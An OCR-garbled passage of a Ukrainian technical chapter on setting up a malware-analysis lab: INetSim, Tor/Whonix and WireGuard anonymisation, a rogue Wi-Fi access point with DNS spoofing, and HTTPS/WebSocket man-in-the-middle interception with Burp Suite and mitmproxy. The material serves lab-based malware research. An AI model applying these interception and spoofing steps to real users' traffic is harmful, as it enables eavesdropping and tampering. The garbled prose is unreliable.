Netuork RAdapter  HAT Replicate physical network connection state
ig;”g C?rdll Eutu di‘tect NAT: Used to share the host's IP address
K ontrotier resen Host-only: A private network shared with the host
MNizplay Auto detect =

Custom: Specific wirtual network
/dev/vmnet@ =

OLAN segment: A private network shared with other standard YMs
AY -

LAN Segments. .

4F Add. .. = Remove =& Advanced. . .
@ Help @ Cancel B save

Puc. 5.1: IsopoBanmit cerMmenT Mepexki st aHTUBIPYCHOI J1ab0paTopil

<« Settings — [m] X
@ Unidentified network

Metered connection
If you have a limited data plan and want more control over data usage,
make this connection a metered network. Some apps might work

differently to reduce data usage when you're connected to this network.

Set as metered connection
@D or

If you set a data limit. Windows will set the metered connection setting
for you to help you stay under your limit.

Set a data limit to help control data usage on this network

IP settings
IP assignment: Manual
IPv4 address: 10.13.37.2

IPv4 subnet prefix length: 24

IPv4 gateway: 1013.371
IPv4 DNS servers: 1013371
Edit

Puc. 5.2: HanamryBanus mepexxi Windows 10
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@J@Newtab X |+ v = m| X

< — O 1 £ httpy//kittens.appreciation.society/mewmew.exe ¥= ﬂ‘, =

B

INetSim X

This is the INetSim default GUI binary

NOKA3ATW HAWMONYNAPHIWI CAATW>  MOKA3ATH HANNONY/IAPHILWI CAATI TA MIA KAHAN>

What do you want to do with mewmew.exe (11.5 KB)?
From: kittens.appreciation.society

Run Save ~ Cancel b

Puc. 5.3: Emyutsriist 3aBanTakeHHS BUKOHYBAHOTO (haitry

Buecemo 3minm 10 xoudirypanii y /etc/inetsim/inetsim.conf, monamo:

service_bind_address 10.13.37.1
dns_default_ip 10.13.37.1

Samycrumo INetSim:

# service inetsim start

Y paai ycrixy, npu 3BepHEHH JI0 JIOBIJIBHOTO HEICHYIOYOT'O JIOMEHY 3 3alIUTOM
Ha 3aBaHTaXKEHHs JOBIIbHOrO BUKoHyBaHoro daiiiay INetSim moseprae Tecrose
HaBaHTaXKeHHs (puc. 5.3):

# /var/log/inetsim/service.log

[dns_53_tcp_udp 2454] [10.13.37.2] recv: Query Type A, Class IN, Name kittens
.appreciation.society

[dns_53_tcp_udp 2454] [10.13.37.2] send: kittens.appreciation.society 3600 IN
A 10.13.37.1

[http_80_tcp 2621] [10.13.37.2:49807] recv: GET /mewmew.exe HTTP/1.1

[http_80_tcp 2621] [10.13.37.2:49807] recv: Accept: text/html,application/
xhtml+xml,application/xml;q=0.9,*/%;q9=0.8

[http_80_tcp 2621] [10.13.37.2:49807] recv: Accept-Language: en-US,en;q=0.5

[http_80_tcp 2621] [10.13.37.2:49807] recv: Upgrade-Insecure-Requests: 1

[http_80_tcp 2621] [10.13.37.2:49807] recv: User-Agent: Mozilla/5.0 (Windows
NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome
/70.0.3538.102 Safari/537.36 Edge/18.18363

[http_80_tcp 2621] [10.13.37.2:49807] recv: Accept-Encoding: gzip, deflate

[http_80_tcp 2621] [10.13.37.2:49807] recv: Host: kittens.appreciation.
society

[http_80_tcp 2621] [10.13.37.2:49807] recv: Connection: Keep-Alive

[http_80_tcp 26211 [10.13.37.2:49807] info: Request URL: http://kittens.
appreciation.society/mewmew.exe

[http_80_tcp 2621] [10.13.37.2:49807] info: Sending fake file configured for
extension ’exe’.

[http_80_tcp 2621] [10.13.37.2:49807] send: HTTP/1.1 200 OK

[http_80_tcp 26211 [10.13.37.2:49807] send: Date: Sun, 26 Apr 2020 14:48:31
GMT

[http_80_tcp 2621] [10.13.37.2:49807] send: Content-Length: 11776

[http_80_tcp 2621] [10.13.37.2:49807] send: Connection: Close

[http_80_tcp 2621] [10.13.37.2:49807] send: Content-Type: x-msdos-program

[http_80_tcp 2621] [10.13.37.2:49807] send: Server: INetSim HTTP Server

[http_80_tcp 2621] [10.13.37.2:49807] info: Sending file: /var/lib/inetsim/
http/fakefiles/sample_gui.exe
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Name  Type External Connection Host Connection DHCP Subnet IP Address MTU

vmnetd bridged auto-bridaging - - - NAT Settings -
vmnetl host-only none ymnetl yes 192.168.166.8

wmnet3 NAT NRT vmnets3 no 18.8.2.8 Netwark: vmnet3

wvmnetd NAT NRT vmnets ues 172.16.78.@ Subnet IP: in.p.2.9

Subnet mask: 255.255.255.8
Gateway IP 18 . 8 2 2

57 Add Network. .. == Remove Network
vmnet3 Port Forwarding
Bridged (connect VMs directly to the external network) Host Port Buest Port Port Type Virtual Machine

Bridged to: Automatic - | Automatic Settings
ONAT (share host's IP address with YMs) NAT Setd

Host-only (connect ¥Ms internally in a private network)

Use local DHCP service to distribute 1P addresses to VMs Edit | ok Add Remove
@ Connect a host virtual adapter (vmnet3d) to this network
Advanced
Subnet IP: |18 . 8 . 2 . @ |Subnet mask: |255.255.255. @ BHAllow active FTP

© Leave blank to automatically select an unused subnet IP. @Allou any Organizationally Unigue Identifier

NI
UDP timeout (in seconds): |38 = |+
LR Q]Eencel Config Port: 33445 | - +

Enable [Pv6 NAT
IPv6 Prefix Td15:4ba5:5a2b

@Help @ Cancel M Save

Puc. 5.4: Hanamrysanus NAT inrepdeiicy mis Whonix

5.3.2 AmnoHiMmizalia

Y Bunagky mpocmimkennst 3pa3ky I3, mo Bumarae gocTymy 70 Mepexi, i
BUPIIIYETHCS 3a/a9a aHaJII3y KOMYHIKAIil 3 cepBepOM KepyBaHHs 3 BHMOTa-
MU aHOHIMHOCTI, OZIHUM 3 pimeHb € 3acrocyBanHsi Tor (anonymizing Tor mi-
ddlebox [85]). Posrisinemo na npukias inrerpanii Whonix Gateway [86] y na-
6oparopiro posmiry 3.3.2.

IIpn BukopucTaHHI crcTeMu BipTyaJsizariil, BiIMIHHOI Biji peKOMEHIOBaHOI
pospobuukamu (Hanpukiaz, VMware 3amicrs VirtualBox), neobximui qogarkosi
KPOKU TIiITOTOBKMU:

1. ImmopryBaru 3aBanTaxkenuit OVA y VirtualBox,

2. Excnoprysatu Tizeku Whonix Gateway with XFCE y noBuit konreitnep
OVA,

3. ImmopryBaru HOBUil KoHTeltHep ¥ VMware,

4. Cropuru npomarkoBuii NAT inrepdeiic 3 IP 3 najnamryBans Whonix
(NAT 10.0.2.2/22, vmnet3 puc. 5.4).

Hpyruit intepdeitc Whonix Gateway migxinodaerbcs y BUJIITIEHY MepPeXy
(AV 3 posainy 5.3.1), y Bipryasnabhiit Mmamuni 3 antusipycamu craruana IP anpe-
ca 10.152.152.20/22, DNS Ta gateway 10.152.152.10. ¥V pasi ycuixy na Whonix
Gateway rpadik mae nepenanpasistuca y Tor (185.220.101.29 — ne Bam 3Bu-
vajinuit 3oBHimHii IP):
$ curl icanhazip.com
185.220.101.29
$ torify curl icanhazip.com
185.220.101.29

$ curl https://check.torproject.org |& grep -ml Tor.
Congratulations. This browser is configured to use Tor.
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B <3| (. Findand check IP addre X {+ ~ = o X

< - 0O m () hiips://whoer.net/ h4 = 1 e

I My IP: 147.135.137.51

Secure internet @@

ISP: OVH SAS DNS
Hostname: ns3077195.ip-147-135-137.eu  Pro No
0S: Win10.0 Anonymizer: 4 Yes

Browser: Edge 18.18363 Blacklist: Yes(Infected)

Puc. 5.5: Iligkmouenns aboparopil gepes Tor

A y nmaboparopil pesysbraTu TecTyBaHHs whoer.net MaloTh BUTJIsI]] K Ha
puc. 5.5, My IP moxe BinmpisusTucs, aje He cuiBnajgae 3 Bamum 3Bnyaiinmm
3oBHinHIM IP.

IIposopa Tor mpokci mMae memosiku — 3’€IHAHHSA MPOXOMATL depe3 socksda
3 BiamoBimHuMu obmerkeHHsIMU. Binbin yHiBepcanmbauM pimenasm € VPN, pos-
ristHemo Ha npukiaai WireGuard [87] y Google Cloud Platform Free Tier [88]:

1. Peectpariisi, cTBOpeHHsT BipTyaJbHOI MAIUHA HastamTyBaHHst firewall
) b
JIOZIAMO JIO3BiJI Ha BeCch BXiAHUIT Tpadik. ¥ pasi ycuixy KoHdirypaliisi cu-
CTEeMU Ma€ BUTJIST:
root@vpn:~# uname -a

Linux vpn 4.19.0-8-cloud-amd64 #1 SMP Debian 4.19.98-1 (2020-01-26)
x86_64 GNU/Linux

root@vpn:~# lsb_release -a
No LSB modules are available.
Distributor ID: Debian

Description: Debian GNU/Linux 10 (buster)
Release: 10
Codename : buster

root@vpn:~# curl icanhazip.com
35.194.35.170

root@vpn:~# apt update && apt upgrade

2. (onuiituo) IMaposbua ayrentudikaiis Jjsi KOpUCTyBada root y ssh:

# /etc/ssh/sshd_config
PermitRootLogin yes
PasswordAuthentication yes

# passwd
$ sshpass -p yMekvyA8uYfIWQaW ssh root@35.194.35.170

Hespazkatoun Ha CHpOIIEHHST OKPEMUX OTlepalliii, BUKOPUCTAHHS [TapoJIiB,
sshpass, akTuBariis root He € peKOMeHI0BaHOIO. Po3riisinbre BapianTu ay-
TeHTH(dIKAI] HA OCHOBI BiIKPUTOrO KJIIOYa, MYJIBTH(MAKTOPHOI ayTeHTH-

dikanii ta ceprudikaris (SSH CA).
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IIpu BukopucTanHi ayTenTudiKaIii Ha OCHOBI BiIKpUTOTO KJII049a, 3BEPHITD
yBary Ha MOXKJIMBOCTI jeaHoHIMizarii [89].

3. Buxopucraemo WireGuard installer [90] must namamrysanus WireGuard:

# curl -0 https://raw.githubusercontent.com/angristan/wireguard-install
/master/wireguard-install.sh

# chmod +x wireguard-install.sh

# ./wireguard-install.sh

IPv4 or IPv6 public address: 35.194.35.170

Public interface: ens4

WireGuard interface name: wgO0

Server’s WireGuard IPv4: 10.66.66.1

Server’s WireGuard IPv6: £fd42:42:42::1

Server ’s WireGuard port: 52930

Client’s WireGuard IPv4 10.66.66.2

Client’s WireGuard IPv6 fd42:42:42::2

First DNS resolver to use for the client: 1.1.1.1
Second DNS resolver to use for the client: 8.8.8.8

Here is your client config file as a QR Code:
It is also available in /root/wgO-client-0aQcDeH26m.conf

4. Ha cropowi kiieaTa HastamryBanns saboparopil i Kali ananoriuni INetSim:

Kali ethO dhcp (NAT), ethl 10.13.37.1/24 (AV segment)
AV IP 10.13.37.2/24 (AV segment), gateway 10.13.37.1, DNS 1.1.1.1

5. Beranosumo WireGuard ma xiiienti (Kali):

# apt install linux-headers-amd64 resolvconf bc wireguard

6. Ckomioemo /root/wg0-client-OaQcDeH26m.conf 3 cepsepy na Kali y /etc/wi-
reguard, 3miammo HasBy Ha wg0-client.conf, BcTanoBUMO 3’¢iHAHHS:

# wg-quick up wgO-client

[#] ip link add wgO-client type wireguard

[#] wg setconf wgO-client /dev/fd/63

[#] ip -4 address add 10.66.66.2/24 dev wgO-client
[#] ip -6 address add fd42:42:42::2/64 dev wgO-client
[#] ip link set mtu 1420 up dev wglO-client

[#] resolvconf -a tun.wgO-client -m 0 -x

[#] wg set wgO-client fwmark 51820

[#] ip -6 route add ::/0 dev wgO-client table 51820
[#] ip -6 rule add not fwmark 51820 table 51820

[#] ip -6 rule add table main suppress_prefixlength 0
[#] ip6tables-restore -n

[#] ip -4 route add 0.0.0.0/0 dev wgO-client table 51820
[#] ip -4 rule add not fwmark 51820 table 51820

[#] ip -4 rule add table main suppress_prefixlength 0
[#] sysctl -q net.ipv4.conf.all.src_valid_mark=1

[#] iptables-restore -n

7. Homamo NAT rta mapmipyru s BipTyaabHOI MAIIMHA 3 AHTUBIpycamu:

# sysctl net.ipv4.ip_forward=1
# iptables -t nat -A POSTROUTING -o wgO-client -j MASQUERADE

B pesymnbrari:

# ifconfig wgO-client
wgO-client: flags=209<UP,POINTOPOINT ,RUNNING,NOARP> mtu 1420
inet 10.66.66.2 netmask 255.255.255.0 destination 10.66.66.2
inet6 fd42:42:42::2 prefixlen 64 scopeid 0x0<global>
unspec 00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00
txqueuelen 1000 (UNSPEC)
RX packets 160167 bytes 213010808 (203.1 MiB)
RX errors 0 dropped 0 overruns O frame O
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| . Findand check P addre X | 4 v -

(< - O @ @ | hitpsi/whoernet/ ¥ = 7
IP ADDRESS T,{l SCRIPTS
; '_ Hostname: 170.35.194 35 bc googleusercontent con 7:‘[@ JavaScript @ enabled
| (Cwnois ) Flash ® disabled
| Reversed 35.194.35170 Java ® enabled
Mail server N/A ActiveX @ disabled
| IP range: 35.194.0.0/15 WebRTC. ® enabled
ISP Google Cloud VBScript: ® disabled
Organization: Google Cloud AdBlock: @ disabled
E‘a INTERACTIVE DETECTION & LOCATION
IP address 3519435170 == United States Country == United States (US)
Flash N/A Continent. North America
‘ WebRTC NIA Region Virginia
Java (TCP) N/A AS Organization GOOGLE
Java (UDP) N/A AS Number 15169
Java (system) N/A Metro code: 556
| DNS Zone: America/New_York
Browser == United States Latitude 38658300

108.162.217.169
Longitude: -77.248100
Flash N/A A

Puc. 5.6: Iligkimouenns gaboparopii wepe3 WireGuard y GCP

TX packets 56736 bytes 20823988 (19.8 MiB)
TX errors O dropped O overruns O carrier 0 <collisions O
# wg show
interface: wgO-client
public key: zNs6EJ4DRsCZ3FDc/fNhKaB80fYXWZqFdLWgpLvk8Cw=
private key: (hidden)
listening port: 51990
fwmark: Oxca6c

peer: 9+HPS915POmAS7QbXdEIiiVkUsoxW/4U40TcR806AWU=

preshared key: (hidden)

endpoint: 35.194.35.170:52930

allowed ips: 0.0.0.0/0, ::/0

latest handshake: 2 minutes, 6 seconds ago

transfer: 203.14 MiB received, 19.86 MiB sent
# ip r
default via 172.16.78.2 dev ethO
10.13.37.0/24 dev ethl proto kernel scope link src 10.13.37.1
10.66.66.0/24 dev wgO-client proto kernel scope link src 10.66.66.2
172.16.78.0/24 dev ethO proto kernel scope link src 172.16.78.149

VY paai ycmixy y saboparopii Tectu whoer.net MaioTh BUIJIS siK HA puC. 5.6.
Kpim GCP ¢ inmi 6e3komToBHi Ta 610/2KeTHI BapiaHTU XOCTUHTY (CTAHOM Ha

kBiTeHb 2020 poky):

1. BeskomToBHO A1 CTyHEeHTIB:

e GitHub Student Developer Pack (https://education.github.com /pack)
- sriogae AWS Educate Starter (100 USD), DigitalOcean (50 USD),

Microsoft Azure (100 USD).
2. BeskormrroBauit TpoOHUIT JTOCTYT Ha 3araJibHUX IT1/ICTABAX:

e AWS Free Tier (https://aws.amazon.com/free/);

e Azure free (https://azure.microsoft.com/en-us/free/);

e Google Cloud Platform Free Tier (https://cloud.google.com/free).
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\4¢
Puc. 5.7: Ananrep na uunceri RT5370

3. BrojzkeTHuii XOCTUHT HA 3arajibHUX HijcTaBax (y HOPIBHAHHI 3 BigoMumu
DigitalOcean, OVH, Hetzner):

e VirMach (https://virmach.com/) — 2.25 USD /mic, 1 vCPU, 512 Mb
RAM, 20 Gb storage, 500 Gb @ 1 Gbps bandwidth;

e Scaleway (https://www.scaleway.com/) — 2.99 EUR /mic, 2 vCPU, 2
Gb RAM, 20 Gb NVMe SSD, 200 Mbps bandwidth.

4. Ykpalacbki nposaiinepu:
e Ukrainian Data Network (https://www.urdn.com.ua/).

Cutiyt 3a3na4qnTu, 1Mo HeHTpu KepyBauus jeskoro I3 obMexyors JocTyn
3 Mepexi Tor (6rokysanns o IP 3 https://check.torproject.org/torbulkexitlist)
Ta BEJMKUX XMapHux nposaiinepis (Amazon, Microsoft, Google).

5.3.3 DBe3agporoBa TOYKa JOCTYILY

st anamizy MOOITBHUX 3aCTOCYHKIB Ha dismdaHOMY OOJaIHAHHI MOXKe OyTH
3PYYHUM IIIK/IIOYEHHS 710 6€3pOTOBOI MepeKi IIPOrpaMHO eMyIbOBaHOI TOYKHI
Jgoctymny. B tunosiit kKordirypariil 10 BipTyajbHOI MAIUHU i IKII0YAEThCS J10-
JaTKOBUil 6e31pOTOBUI aamnTep, Ha HHOMY 3a I0noMororn hostapd zamyckae-
Thes 6e31poToBa TOYKa gocTyiry Ta Heobxinui cepsicu (DHCP, DNS y dusmasq),
iptables NAT na 30BHiImHBbOMY iHTEpdAeiici, IepeHanpaBieHHs Tpadiky Ha IPo-
3opi npokci (iptables PREROUTING REDIRECT) ra in. IlepeBaroro takoro
MiIXOMy € MiHIMyM 3MiH B KOH(MIryparil JOC/iRKyBaHol CUCTeMH, Ta HOBHU
KOHTPOJIb HaJ| MepexkeBUM TpadikoM (IOC/IIHUK KOHPOJIIOE IILII03).

B stkOCTi 30BHIMIHBOIO aJaITepy IiIXOAUTh IMUPOKUI CIEKTP 00JIaTHAHHS,
6isbinicTs cymicaux 3 Kali Ta BUKOPHCTOBYBaHUX JIJIsI TECTYBaHHSI Oe311eKu 0e3-
naporoBux Mepex. Hiamazon nin Bix 60 USD y Alfa AC1900 na ebay.com mo 3
USD y kuraiicbkux Bupobis 3 RT5370 ua aliexpress.com. IIpu ribomy ocrani, He
3BaKal04n Ha CJIaOKIiCTh CHTHAJIY Ta MaJIy 9yTJIUBICTD, T€2K aKTUBHO 32CTOCOBY-
IOTbCs y TIOPTATUBHUX KOMILIeKcax — Hanpukjiaa, WiFi Pineapple B sixocTi j10-
jaTkoBoro ayantepy. Curin 3a3nadnTu Bukjodenns, aganrep Alfa AWUS036H
Ta immi Ha uwnceri RT8187L #e mimrpumytors pexkum softap Ha piBHI mapaiiBe-
py, 1 gk Hacaimok me cymicui 3 hostapd. lasi BEHKOPHCTOBYETHCs ajamnTep Ha
quriceti RT5370, puc. 5.7:

# dmesg

[ 7707.966396] usb 2-1: new high-speed USB device number 2 using ehci-pci

[ 7708.023847] usb 2-1: New USB device found, idVendor=148f, idProduct=5370,
bcdDevice= 1.01

[ 7708.023852] usb 2-1: New USB device strings: Mfr=1, Product=2,
SerialNumber=3
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7708.023855] usb
7708.023857] usb

2 Product: 802.11 n WLAN

2
7708.023859] usb 2

2

8

Manufacturer: Ralink

SerialNumber: 1.0

reset high-speed USB device number 2 using ehci-pci
11 phyO: rt2x00_set_rt: Info - RT chipset 5390, rev

7709.074221] usb :
7709.121397] ieee
0502 detected
7709.389802] ieee80211 phyO: rt2x00_set_rf: Info - RF chipset 5370 detected
7709.392646] ieee80211 phyO: Selected rate control algorithm ’minstrel_ht?’

7709.393524] usbcore: registered new interface driver rt2800usb

7709.446504] ieee80211 phyO: rt2x00lib_request_firmware: Info - Loading
firmware file ’rt2870.bin°

[ 7709.499346] rt2800usb 2-1:1.0: firmware: direct-loading firmware rt2870.

R R ]

1
1
1
1
2

0

el B

bin

[ 7709.499354] ieee80211 phyO: rt2x00lib_request_firmware: Info - Firmware
detected - version: 0.36

# lsusb

Bus 002 Device 002: ID 148f:5370 Ralink Technology, Corp. RT5370 Wireless
Adapter

Takum wmrom, BM Kali mae 2 mepexesi inrepdeiicu, gepe3 eth0 mocrym
1o 30BHIMHBOI Mepexki, wlan0 mjs 6e3aporToBoi Touku moctyiry. Hamamryemo
TOYKY JIOCTYILY:

1. HeoOximmi maxyHKu, 0 He BXOIATH B CTAHIAPTHY KOH(DIryparriio:

# apt install hostapd

2. Hust BursmouenHss KOHMJIKTIB MU PYYHOMY HAJAIITYBAHHI MEPE2KEBUX
cepsiciB meobxiamno 3ynuantn NetworkManager:

# service network-manager stop

# dhclient -v ethO

Internet Systems Consortium DHCP Client 4.4.1

Copyright 2004-2018 Internet Systems Consortium.

All rights reserved.

For info, please visit https://www.isc.org/software/dhcp/

Listening on LPF/eth0/00:0c:29:35:75:aa

Sending on LPF/eth0/00:0c:29:35:75:aa

Sending on Socket/fallback

DHCPDISCOVER on ethO to 255.255.255.255 port 67 interval 4
DHCPOFFER of 172.16.78.149 from 172.16.78.254

DHCPREQUEST for 172.16.78.149 on ethO to 255.255.255.255 port 67
DHCPACK of 172.16.78.149 from 172.16.78.254

bound to 172.16.78.149 -- remnewal in 711 seconds.

3. Hajamrysanus Touku goctymy y hostapd:

# cat hostapd.conf
interface=wlanO
ssid=kitty

channel=1

wpa=2
wpa_passphrase=mewmewmew
wpa_key_mgmt=WPA-PSK

# hostapd hostapd.conf

Configuration file: hostapd.conf

Using interface wlanO with hwaddr 7e:26:38:01:28:c4 and ssid "kitty"
wlanO: interface state UNINITIALIZED->ENABLED

wlanO: AP-ENABLED

4. Hasramrrysanusas DHCP, DNS y dnsmasq:

# ifconfig wlan0 10.13.37.1

# cat dnsmasq.conf
interface=wlanO
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Puc. 5.8: Iligkiouenus yepe3 CTBOPEHY TOUYKY JOCTYIIA

listen-address=10.13.37.1
dhcp-range=10.13.37.10,10.13.37.100,12h
bind-interfaces

server=1.1.1.1

no-hosts

addn-hosts=hosts
address=/mewmew.me/10.13.37.1

# cat hosts
10.13.37.1 ya.ru

# dnsmasq -dRC dnsmasq.conf

dnsmasq: started, version 2.80 cachesize 150

dnsmasq: compile time options: IPv6 GNU-getopt DBus il18n IDN DHCP
DHCPv6 no-Lua TFTP conntrack ipset auth DNSSEC loop-detect inotify
dumpfile

dnsmasq-dhcp: DHCP, IP range 10.13.37.10 -- 10.13.37.100, lease time 12
h

dnsmasq-dhcp: DHCP, sockets bound exclusively to interface wlanO

dnsmasq: using nameserver 1.1.1.1#53

dnsmasq: read hosts - 1 addresses

3BepHITH yBary Ha MOXKJIMBICTB mmigMinu imedn DNS — B jjaHoMy mpukiiai
mewmew.me 3 IijjioMeHamu, ya.ru oyayrs nosepratu 10.13.37.1.

5. Mapmpyrusanis Ta NAT:

# sysctl -w net.ipv4.ip_forward=1
# iptables -t nat -A POSTROUTING -o ethO -j MASQUERADE

V pasi ycnixy Ha JaHoMmy ertari MaeMo (QyHKIIOHYIOMY TOUYKY JOCTYIY 3
ESSID kitty Ta maposem mewmewmew. Mobisgbuuit Tesredor MoxKe 710 Hel mmiji-
KJIIOYATHUCH Ta OTPUMATH JIOCTyH 10 Inrepuer, puc. 5.8:

=== hostapd

wlanO: STA 94:65:2d:2a:35:8b IEEE 802.11: authenticated

wlanO: STA 94:65:2d:2a:35:8b IEEE 802.11: associated (aid 1)

wlanO: AP-STA-CONNECTED 94:65:2d:2a:35:8b

wlanO: STA 94:65:2d:2a:35:8b RADIUS: starting accounting session 5
F74D2A4AAC47675

wlanO: STA 94:65:2d:2a:35:8b WPA: pairwise key handshake completed (RSN)

=== dnsmasq

dnsmasq-dhcp: DHCPDISCOVER(wlanO) 94:65:2d:2a:35:8b
dnsmasq-dhcp: DHCPOFFER(wlanO) 10.13.37.77 94:65:2d:2a:35:8b
dnsmasq-dhcp: DHCPDISCOVER(wlan0O) 94:65:2d:2a:35:8Db
dnsmasq-dhcp: DHCPOFFER(wlan0O) 10.13.37.77 94:65:2d:2a:35:8b
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3 https://whoer.net GET Ity 200 187659 HTML B£0-DY:0"fifl v 104.26.3.223 14:16:03 2. 8080
& hitps:/iwhoernet GET [jsiijstv=25 v 200 5443 script s v 104263223 14:16:05 2. 8080
7 htwsiwhoer.net GET  fjsiclipboard minjs?1.5.12 v 00 10552 sat s v 104.263.223 1416052, 8080
10 hitpsificode jquerv.com  GET Jjguen-migrate-3.0.1min js 00 11873 st s v 208107324 141605 2. 8080
11 htpsficode jquervcom  GET  /iqueny3.0.0.minis 200 ae7ss  script s v 208187324 141605 2. 8080
13 hitpséwhoer net GET  fisinit_map jstv=1 v 00 97 st s v 104263223 1416102 5080
14 hitps/iwhoer net GET  /isiwhaer.notpacked js71587 v 00 41241 sept s v 104263223 1416102 8080
15 hitpeiwhoer net GET /jsiiquenyii min js71.12.1 v 00 284220 serpt s v loaz63223 1416202 8080
16 hitpséwhoer net GET  [jsimoment min js 00 52228 st s v 104263223 1416102 6080
17 loudflare.c.. GET /4.17.11/l0 00 13394 script s v 10416133220 1416102 8080
16 hitps:/maps.googleapis. .. GET  /maps/apijstkey=AzaSyBiwe. ¢ 200 117296 seript v 1272123 1416202, 8080
21 hitps:whoer net GET  fjsimoment-timezone. min is 00 334 st s v 104263223 14:16152.. 8080
Er GeTiliinnamienite . Gonaees oo N Y yniagaans Yitenss  anen

Request | Response
Raw | Params | Headers | Hex

3 Connection: clo
4 Uparade. nsecure. Reguests

= UEeroAgent: Marilla/s.o (Linuc; Android 9 ONEPLUS ASOL0) AppleWebKit/S57.36 (KHTH., Like Gecko) Chrome/80.0.3587.162 Mobile Srteriys
© Accept : text/html,application/xhtnlsxul,application/xnl ;q=0.9,inage/webp, inage/apng, */+; g=0.6, applicat ion/signed- exchange ; v=b3:

7 Sec-Fetch-Site: none

2 Sec-Fetch-Mode! navigate

5 Sec-Fetch-User: 71

10 Accept-Encoding: gzip, deflate

11 Accept -Language: ru-RU, ru;q=0.9,en-US;q=0.8, en; q=0.7

12 Cookie: _« 1587665760

=
14
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Puc. 5.9: Aktusna HTTPS MITM

dnsmasq-dhcp: DHCPREQUEST (wlanO) 10.13.37.77 94:65:2d:2a:35:8b
dnsmasq-dhcp: DHCPACK (wlan0) 10.13.37.77 94:65:2d:2a:35:8b Phone

B sikocri npuknagxy HTTP/HTTPS MITM posriisireMo 1po30py IPOKCi Ha
6a3i Burp Suite. Ilicis momaBanust crenepoBanoro Burp CA ceprudikary Ha
MobiabHOMY Testedboni [91], nanamrysanna Proxy / Options / Proxy Listeners,
Edit / Bind to address: All interfaces; Request handling: Support invisible
proxying (enable only if needed).

Ilepenanpapients Tpadiky Ha TPOKCi K i B iHIUX BUIIAIKAX:

# iptables -t nat -A PREROUTING -i wlanO -p tcp --dport 80 -j REDIRECT --to-

port 8080
# iptables -t nat -A PREROUTING -i wlanO -p tcp --dport 443 -j REDIRECT --to-
port 8080

Ormmiitao, uts Bunaaky kosu 3pa3ok I3 iraopye cucremuunii pe3osBep ta
HanpsMy 3’eaHyerhes 3 3oBHimmiMu DNS cepBepamu, mepeHanpaBiieHHST BCix
3anuTiB HA KOHTPOJbOBaHMW dnsmasq:

# iptables -t nat -A PREROUTING -i wlan0 -p udp --dport 53 -j REDIRECT --to-
port 53

VY paai ycrixy mocigauk mae moxkiusicts untaru HTTPS tpadik, Ta mosu-
dikyBaru itoro 3acobamu Burp Suite, puc. 5.9. Bijbire indopmarii mpo pobory
3 Burp Suite moxna 3naiitu y [92].

5.3.4 AxtuBua MITM 3 mitmproxy

Onna 3 BaxKauBux 3aja4 npu gocaimkeni IIII3 — amamiz Ta moaudikalis B
peasibHOMY 4Yaci Tpadiky MiXK 3pa3KoM Ta IEHTPOM KepyBaHHsl. Y BUIIAIKY
pukopuctanass HTTP, HTTPS, npamux TCP 3’e¢nnans, WebSocket ommmm 3
BapianTiB pimenus € mitmproxy [93]. Posrisnemo na npukiiaai mpo3opol Mo-
gudikanii WebSocket oBepx TLS. B skocti kitienta Bukopucraemo Python3
websocket client, cli.py:

#!/usr/bin/env python3
from websocket import create_connection
import ssl
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ws = create_connection("wss://echo.websocket.org/",
sslopt={"cert_reqs":ssl.CERT_NONE})

ws.send ("hello world")

res = ws.recv()

print ("received [{}]".format(res))

ws.close ()

Hna zanycky y Kali:

# pip3 install websocket_client
$ ./_cli.py
received [hello world]

st peastizariii o6pobku Tpadika B mitmproxy BukopuctoByeThcsa Pythond.
B sxocri npuknasy filter.py y moBimomiennsx Bij kiienrta 3aminioe “hello” ma

“mewmew”, Ta Bci nosiomienns cepsepa Ha “Glory to Ukraine”. dkio B mosi-
JIOMJIeHH] € psJioK ““woman _shrugging:”, BoHO He HaJICHIIA€TbCS:

import re
from mitmproxy import ctx

def websocket_message (flow):
message = flow.messages[-1]

if message.from_client:
ctx.log.info("client [{}]".format(message.content))

message.content = re.sub(’hello’, ’mewmew’, message.content)
else:
ctx.log.info("server [{}]".format(message.content))
message.content = "Glory to Ukraine"
if ’:woman_shrugging:’ in message.content:

message .kill ()

B koudiryparii 3 posainy 5.3.1 HajgamTyBaHHS IePEHAIPABICHHS Ta, 3AILyCK
mitmproxy:

# sysctl net.ipv4.ip_forward=1
# iptables -t nat -A PREROUTING -i ethl -p tcp --dport 443 -j REDIRECT --to-
port 8080

# mitmdump --mode transparent -s filter.py
Loading script filter.py
Proxy server listening at http://*:8080
10.13.37.2:45758: clientconnect
10.13.37.2:45758: GET https://174.129.224.73/

<< 101 Web Socket Protocol Handshake Ob
10.13.37.2:45758 -> WebSocket 1 message -> 174.129.224.73:443/
client [hello world]
10.13.37.2:45758 <- WebSocket 1 message <- 174.129.224.73:443/
server [mewmew world]
WebSocket connection closed by client: 1000 (message missing),
10.13.37.2:45758: clientdisconnect

=== on client
$ ./_cli.py
received [Glory to Ukraine]

B nmanHOMy IpUKJIai BUKOPHCTOBYETHCSI CAMOIIIIIACAHUI cepTUdIKAT Ha
CTOPOHI MPOKCi, Ha CTOPOHI KJIEHTa BIIKJIIOUEHA TEPEBIPKa 3a JOIMOMOIOI0 Ta-
pamerpy sslopt={"cert_reqs":ssl.CERT_NONE}.

5.3.5 AktuBHa MITM 3 Scapy Ta NFQUEUE

Posrustremo moxkimBocti mogudikanil okpemux IP makeris na npukiami Scapy [94]
ta NFQUEUE [95]. Cdhopmymmoemo 3amaty GLIbIT 3araabHO — JOCTITHIK Ma€ J10-
CTYI 70 JIOKAJIBHOI MepexKi, ajie He JI0 MUIHOBOI CUCTEMHU Ta ILII03Y, HEOOXiTHO
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MomudikyBaTn Tpadik MiXK ocTaHHIMH. B gKOCTI TECTOBOTO MOJITOHY BUKOPHU-
craemo onsaiin wiardopmy NaumachiaCTF [96], 3apnanns Straw House:

1. Beranosumo Python NetfilterQueue [97], Scapy myis Python2:

# apt install python-scapy python-netfilterqueue

2. Iliakmoaumocsk 1o VPN, 3naiiemo 1misi /j1s anasisy:

# openvpn --config straw.ovpn #--http-proxy 10.1.17.1:3128
# sysctl net.ipv4.ip_forward=1
# ip a
3: tap0O: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast
state UNKNOWN group default qlen 100
link/ether 2a:8e:e3:c9:ae:60 brd ff:ff:ff:ff:ff:ff
inet 172.30.0.14/28 brd 172.30.0.15 scope global tapO
valid_1ft forever preferred_lft forever
inet6 fe80::288e:e3ff:fec9:ae60/64 scope link
valid_1ft forever preferred_1lft forever

# nmap -vv -A 172.30.0.14/28

